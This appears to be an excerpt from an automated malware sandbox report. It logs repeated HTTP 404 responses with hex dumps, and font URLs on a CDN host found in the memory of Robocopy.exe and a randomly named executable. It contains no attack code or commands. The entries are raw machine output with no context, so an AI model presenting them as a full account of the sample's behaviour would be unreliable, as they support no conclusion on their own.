Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 27 Sep 2024 15:30:32 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 27 Sep 2024 15:30:34 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 27 Sep 2024 15:30:37 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 27 Sep 2024 15:30:39 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 27 Sep 2024 15:30:46 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6aXeM3MhiMSMnaUiXyy%2FWaGoGavnfbXxkPxmI9wQw7H3zgj9mXmFFwQVlcdcc%2B728iYBeObpIDAnQoB2wb6YqEK6odhz%2FM4Oxdc5%2FR6kXPC5Pyvw8Vmqmw9jpc2RoBB5lemxPg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8c9c896c7a1f4213-EWRContent-Encoding: gzipData Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a30
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 27 Sep 2024 15:30:48 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I6caT3V9PUjdDFr7KSnkRmMYcOmPRirgmFmZ7F5YR7XtMVz%2FdnZVdVzDY1KWArZkw4%2BAhZTOroSyr8AQVrC6QxM25lpRCBsxV1G5MHvGmlJ38dTxkmjl1P0npITEpWF9m2FLOQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8c9c897c8905430d-EWRContent-Encoding: gzipData Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a30
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 27 Sep 2024 15:30:51 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dWHQVjxtLPBV%2BAEKFjoR8OkKv1BdvDYU6xxAY8%2BsMqMTf649w1yvfFdYe5SOsdmh1Ak19jJDL9RrPEzFsh4Df6%2FAWLA86jqJNoqSo61JkeNqy8KWuwb7M8hA%2BPBWGiMBrNvasg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8c9c898c2947c436-EWRContent-Encoding: gzipData Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a30
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 27 Sep 2024 15:30:54 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fGHQt%2Fn4mIQJsdIoR5kriFbshWEY0VR0Qg7LGnSkF0v4q2o0Kd7va7Ne6pdqHRvUYuc9x1Yu2jn2QMnI3I6pVl1XazmJ1Vw8zjCE%2BR5zqfSlSdzlnnm9W7q0YF9rCaq%2FEMt30g%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Speculation-Rules: "/cdn-cgi/speculation"Server: cloudflareCF-RAY: 8c9c899c294942ea-EWRData Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 92<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 27 Sep 2024 15:31:16 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 27 Sep 2024 15:31:19 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 27 Sep 2024 15:31:21 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 27 Sep 2024 15:31:24 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.1Date: Fri, 27 Sep 2024 15:31:50 GMTContent-Length: 0Connection: closeX-Rate-Limit-Limit: 5sX-Rate-Limit-Remaining: 19X-Rate-Limit-Reset: 2024-09-27T15:31:55.8118827Z
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 27 Sep 2024 15:31:57 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 4d 8e bd 0e 82 30 14 85 f7 3e c5 95 5d 2e 1a c6 a6 83 02 91 04 91 98 32 38 62 7a 4d 49 90 22 2d 1a df de 02 8b e3 f9 fb 72 f8 26 b9 1c e5 ad 4a e1 24 cf 05 54 f5 a1 c8 8f 10 6c 11 f3 54 66 88 89 4c d6 64 1f 46 88 69 19 08 c6 b5 7b 76 82 6b 6a 94 17 ae 75 1d 89 38 8a a1 34 0e 32 33 f5 8a e3 6a 32 8e 4b 89 df 8d fa ce bb 9d f8 eb 78 c5 f8 20 a4 26 18 e9 35 91 75 a4 a0 be 16 f0 69 2c f4 9e f5 98 59 60 7a 70 ba b5 60 69 7c d3 18 72 1c fc 0c 17 a2 c7 cf 4f d8 0f f3 7c 15 3c c4 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: acM0>].28bzMI"-r&J$TlTfLdFi{vkju8423j2Kx &5ui,Y`zp`i\|rO\|<0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 27 Sep 2024 15:31:59 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 4d 8e bd 0e 82 30 14 85 f7 3e c5 95 5d 2e 1a c6 a6 83 02 91 04 91 98 32 38 62 7a 4d 49 90 22 2d 1a df de 02 8b e3 f9 fb 72 f8 26 b9 1c e5 ad 4a e1 24 cf 05 54 f5 a1 c8 8f 10 6c 11 f3 54 66 88 89 4c d6 64 1f 46 88 69 19 08 c6 b5 7b 76 82 6b 6a 94 17 ae 75 1d 89 38 8a a1 34 0e 32 33 f5 8a e3 6a 32 8e 4b 89 df 8d fa ce bb 9d f8 eb 78 c5 f8 20 a4 26 18 e9 35 91 75 a4 a0 be 16 f0 69 2c f4 9e f5 98 59 60 7a 70 ba b5 60 69 7c d3 18 72 1c fc 0c 17 a2 c7 cf 4f d8 0f f3 7c 15 3c c4 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: acM0>].28bzMI"-r&J$TlTfLdFi{vkju8423j2Kx &5ui,Y`zp`i\|rO\|<0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 27 Sep 2024 15:32:02 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 4d 8e bd 0e 82 30 14 85 f7 3e c5 95 5d 2e 1a c6 a6 83 02 91 04 91 98 32 38 62 7a 4d 49 90 22 2d 1a df de 02 8b e3 f9 fb 72 f8 26 b9 1c e5 ad 4a e1 24 cf 05 54 f5 a1 c8 8f 10 6c 11 f3 54 66 88 89 4c d6 64 1f 46 88 69 19 08 c6 b5 7b 76 82 6b 6a 94 17 ae 75 1d 89 38 8a a1 34 0e 32 33 f5 8a e3 6a 32 8e 4b 89 df 8d fa ce bb 9d f8 eb 78 c5 f8 20 a4 26 18 e9 35 91 75 a4 a0 be 16 f0 69 2c f4 9e f5 98 59 60 7a 70 ba b5 60 69 7c d3 18 72 1c fc 0c 17 a2 c7 cf 4f d8 0f f3 7c 15 3c c4 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: acM0>].28bzMI"-r&J$TlTfLdFi{vkju8423j2Kx &5ui,Y`zp`i\|rO\|<0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 27 Sep 2024 15:32:04 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 196Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot?#iefix
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.otf
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.svg#montserrat-bold
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.ttf
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff2
